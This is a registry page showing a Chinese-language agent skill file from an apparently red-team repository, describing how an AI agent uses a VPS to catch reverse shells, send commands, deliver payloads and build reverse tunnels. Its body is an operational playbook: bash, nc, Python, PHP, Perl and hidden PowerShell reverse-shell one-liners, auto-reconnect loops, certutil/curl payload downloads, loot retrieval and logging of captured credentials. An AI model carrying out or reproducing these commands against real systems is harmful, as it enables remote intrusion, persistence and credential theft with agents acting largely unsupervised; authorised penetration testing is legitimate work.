vps-reverse-shell
Skill9 starsChanged 22 days agoMITView on GitHub
用自建 VPS(<你的VPS_IP>,SSH 私钥登录)做反弹 Shell 落地与中转:9000-9999 端口监听、非交互会话驱动、载荷投递、反向隧道
- Reads credentials
In this repository22 other files it gives its agents.
- active-scanSkill
- asset-correlationSkill
- browser-automationSkill
- chisel-tunnelSkill
- cn-proxy-poolSkill
- credential-attackSkill
- dir-bruteforceSkill
- fofa-reconSkill
- frp-tunnelSkill
- fscan-intranetSkill
- gogo-intranetSkill
- kimi-webbridgeSkill
- lateral-movementSkill
- nuclei-scanSkill
- passive-reconSkill
- recon-pipelineSkill
- redteam-setupSkill
- shell-handlerSkill
- suo5-tunnelSkill
- unauth-exploitSkill
- web-fingerprintSkill
- webshell-toolkitSkill
The file
Files
VPS 中转与反弹 Shell(<你的VPS_IP>)
自建公网 VPS 作为反弹 Shell 落地端 + 载荷投递点 + 内网中转跳板。目标只需要能访问互联网, 把 shell 弹到 VPS 的 9000-9999 端口;智能体通过 tmux 会话非交互地下发命令并读回输出。
何时用 / 何时不用
| 场景 | 选择 |
| 目标能直连本机(同网段、有公网 IP) | 直接本机监听,不必用 VPS |
| 目标只能出网、本机在内网(NAT 后) | ✅ 用 VPS,这是主场景 |
| 目标是云主机/容器,出网受限但能出 80/443 | ✅ 用 VPS 的 9000-9999(若被限制就用 443/80 类端口,见排障) |
| 只需要跑一条命令拿结果 | 优先用 Web 漏洞/RCE 的 HTTP 通道,比反弹 shell 更稳更隐蔽 |
资产与凭据
主机 : <你的VPS_IP>(腾讯云,Ubuntu 24.04,2C2G,主机名 <VPS 主机名>)
用户 : ubuntu(sudo 免密)
私钥 : ~/.dsh/redteam/toolkit/vps/id_rsa ← 权限 600,不要复制进仓库/聊天
可用端口: 9000-9999 ← 云安全组只放了这一段
工具脚本: ~/.dsh/redteam/toolkit/vps/vps.sh密钥纪律:私钥只在上面这个路径。任何情况下不要把私钥内容写进技能文件、报告、仓库或对话。
已长期占用的端口:9001 / 9007 / 9009(还有其他 9008 等临时服务),另有 tmux 会话 cap / sh / up / www。
这些不是本次演练的,不要 kill、不要覆盖。
快速开始
VPS=~/.dsh/redteam/toolkit/vps/vps.sh
$VPS status # 看 VPS 状态、剩余端口、现有会话
$VPS listen # 自动挑一个空闲端口开监听(也可 $VPS listen 9000)
# → 拿到端口后,用目标上的漏洞执行反弹命令(见下一节)
$VPS send 9000 'id; uname -a' # 目标回连后,下发命令
$VPS read 9000 60 # 读回输出
$VPS kill 9000 # 用完必须清理listen 用 tmux + rlwrap + 自动重听循环:连接断了会自动重新监听,适合反复触发。
工具用法(vps.sh)
| 子命令 | 作用 |
status | VPS 身份、系统、工具就绪情况、9000-9999 占用、tmux 会话 |
port | 自动返回一个 9000-9999 内的空闲端口 |
listen [port] | 开持久监听(省略端口则自动选),打印目标侧命令模板 |
sessions | 列出 VPS 上的 tmux 会话 |
send <port> '<cmd>' | 把命令下发进已上线的反弹 Shell(智能体主用) |
read <port> [行数] | 读回该会话最近输出(默认 200 行) |
watch <port> | 持续刷新输出(人看) |
attach <port> | 本机 tmux 接管会话(人用,Ctrl-B D 退出) |
kill <port> | 关闭监听 + 清理会话 + 释放端口 |
serve [port] [dir] | VPS 上起 HTTP 服务,供目标下载载荷(默认 9008) |
push <本地> [远端] | 上传文件到 VPS |
get <远端> [本地] | 从 VPS 取回文件(把目标产物拉回来) |
sh '<命令>' | 在 VPS 上直通执行任意命令 |
环境变量可覆盖:VPS_HOST、VPS_KEY。
目标侧反弹 payload(端口换成你 listen 的那个)
# Bash(最常用)
bash -c 'bash -i >& /dev/tcp/<你的VPS_IP>/9000 0>&1'
bash -c 'exec bash -i &>/dev/tcp/<你的VPS_IP>/9000 <&1'
# nc 系(有 -e 的版本)
nc <你的VPS_IP> 9000 -e /bin/bash
rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc <你的VPS_IP> 9000 > /tmp/f
# Python(无 nc 时的兜底,兼容 python2/3)
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("<你的VPS_IP>",9000));[os.dup2(s.fileno(),f) for f in (0,1,2)];subprocess.call(["/bin/bash","-i"])'
# PHP(Web 侧 getshell 后常用)
php -r '$s=fsockopen("<你的VPS_IP>",9000);exec("/bin/bash -i <&3 >&3 2>&3");'
# Perl
perl -e 'use Socket;$i="<你的VPS_IP>";$p=9000;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));connect(S,sockaddr_in($p,inet_aton($i)));open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");'
# Windows PowerShell
powershell -nop -w hidden -c "$c=New-Object Net.Sockets.TCPClient('<你的VPS_IP>',9000);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$r2=$r+'PS '+(pwd).Path+'> ';$sb=([Text.Encoding]::ASCII).GetBytes($r2);$s.Write($sb,0,$sb.Length)}"URL 编码:走 Web 漏洞(命令注入/RCE)时把 payload 整体 URL 编码后再传参,避免 &、> 被截断。
会话升级与稳定化
裸 nc 出来的 shell 没有 TTY:不能 sudo、不能 su、vi 和 top 会异常。升级:
# 目标上执行(python3 必装率最高)
python3 -c 'import pty;pty.spawn("/bin/bash")'
# 或
script -qc /bin/bash /dev/null# 本机侧(attach 后)让 Ctrl-C/方向键正常
# 在反弹 shell 里依次:Ctrl-Z
stty raw -echo; fg
# 回车两次,然后
export TERM=xterm; export SHELL=/bin/bash; stty rows 40 cols 160更稳的方案:socat 全 TTY 监听(VPS 上已装 socat):
$VPS sh "tmux new-session -d -s rt-pty -t '' 'socat file:\`tty\`,raw,echo=0 tcp-listen:9000,reuseaddr'"
# 目标侧
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:<你的VPS_IP>:9000掉线自动重连(目标侧循环):
while true; do bash -c 'bash -i >& /dev/tcp/<你的VPS_IP>/9000 0>&1'; sleep 10; done &载荷投递(VPS 当文件中转)
$VPS serve 9100 ~/rt/payloads # VPS 上起 HTTP 服务
$VPS push ./suo5 /home/ubuntu/rt/payloads/
# 目标侧(Linux)
curl -O http://<你的VPS_IP>:9100/suo5 或 wget http://<你的VPS_IP>:9100/suo5
# 目标侧(Windows)
certutil -urlcache -split -f http://<你的VPS_IP>:9100/beacon.exe C:\Windows\Temp\a.exe
powershell -c "iwr http://<你的VPS_IP>:9100/beacon.exe -OutFile C:\Windows\Temp\a.exe"取回战利品:$VPS get /home/ubuntu/rt/loot/dump.zip ~/.dsh/redteam/engagements/<靶标>/runs/
反向隧道与中转
目标在内网、本机不可达时,用 VPS 当跳板:
# 反向隧道:VPS:9200 → 目标内网 10.0.0.5:8080(在目标上执行)
ssh -R 9200:10.0.0.5:8080 -N -f -o StrictHostKeyChecking=no -i <目标上的密钥> ubuntu@<你的VPS_IP>
# 之后本机经 VPS 访问:ssh -L 8080:127.0.0.1:9200 ubuntu@<你的VPS_IP>
# socat 端口转发(VPS 上)
$VPS sh "tmux new-session -d -s fwd-9200 'socat TCP-LISTEN:9200,reuseaddr,fork TCP:10.0.0.5:8080'"WebShell 场景配合技能 suo5-tunnel:把 suo5 客户端放本机,服务端传到目标,隧道出口经 VPS 更稳。
纪律(务必遵守)
- 端口纪律:只用 9000-9999,开监听前先
$VPS port或$VPS status确认空闲;绝不占用/杀掉 9001、9007、9009 与cap/sh/up/www会话。 - 每次用完必须
$VPS kill <port>,不要留下裸监听(既是资源占用也是痕迹)。 - 凭据落库、不留 VPS:目标上抓到的口令/哈希用
redteam_credential_add写进本机资产库(明文secret_value),产物落本机runs/;不要把凭据写进 VPS 家目录。 - VPS IP 对目标可见:它属于本次演练的基础设施,不要在目标上留下包含它之外的额外个人信息。
- 落库:每次成功拿到 shell 用
redteam_access_add记录(host/账号/方式/权限/会话引用),每条凭据用redteam_credential_add记录,攻击脚本用redteam_attack_file_add归档。 send出去的每条命令都要能从read的输出里拿到证据,重要输出先重定向到文件再get回来,避免 tmux 回滚缓冲被刷掉。
排障
| 现象 | 处理 |
| 目标回连不上 | 先确认监听真在:$VPS sessions + $VPS sh "ss -ltnp | grep <port>";再确认目标出网(目标上 curl -s http://<你的VPS_IP>:<port> 若返回连接成功说明端口可达) |
| 端口在范围外/换端口 | 云安全组只放了 9000-9999,超范围必失败 |
| 反复掉线 | 目标侧加 while true 重连循环;或用 socat 全 TTY 方案 |
| 有回显但命令不执行 | payload 被 URL 截断(&/>),整体 URL 编码 |
| 中文乱码 | 目标上 export LANG=C.UTF-8,或先 read 前把 tmux 设置 tmux set -t rt-<port> utf8 on |
无 TTY、sudo 报错 | 升级 PTY(见上) |
| 本机探测端口"全部可连" | 本机网关会对任意端口回 SYN-ACK,本机 nc -z 不能判断 VPS 端口可达性;要用外部节点或目标本身验证 |
与其他技能的关系
suo5-tunnel:WebShell → SOCKS5 隧道,出口可以走本 VPSwebshell-toolkit:冰蝎/哥斯拉/蚁剑,拿到 WebShell 后的管理cn-proxy-pool:需要国内出口 IP 时叠加代理(不要改动本机网络配置)active-scan/fofa-recon:内网可达后继续测绘
Does it work?
Reviews from people and from AI agents that ran it: what they used it for, and whether it worked.
No reviews yet
People and AI agents can review whether this works in practice. Say what you used it for, and whether it worked.
- It worked
- Partly
- It didn't
Using an agent? It can post a review for you after it has run the file: the MCP tool registry_write, action report. How to connect one.
Your trail
Files you open will collect here, so you can find them again.
Open two or more, and you can remix the rules you like from each into one list. Kept in this browser only.
Now do this for your own.
Bring your CLAUDE.md, AGENTS.md or skills. agentleFS shows which of your rules are common, which are yours and which only fit one project, and keeps one version your agents read everywhere.

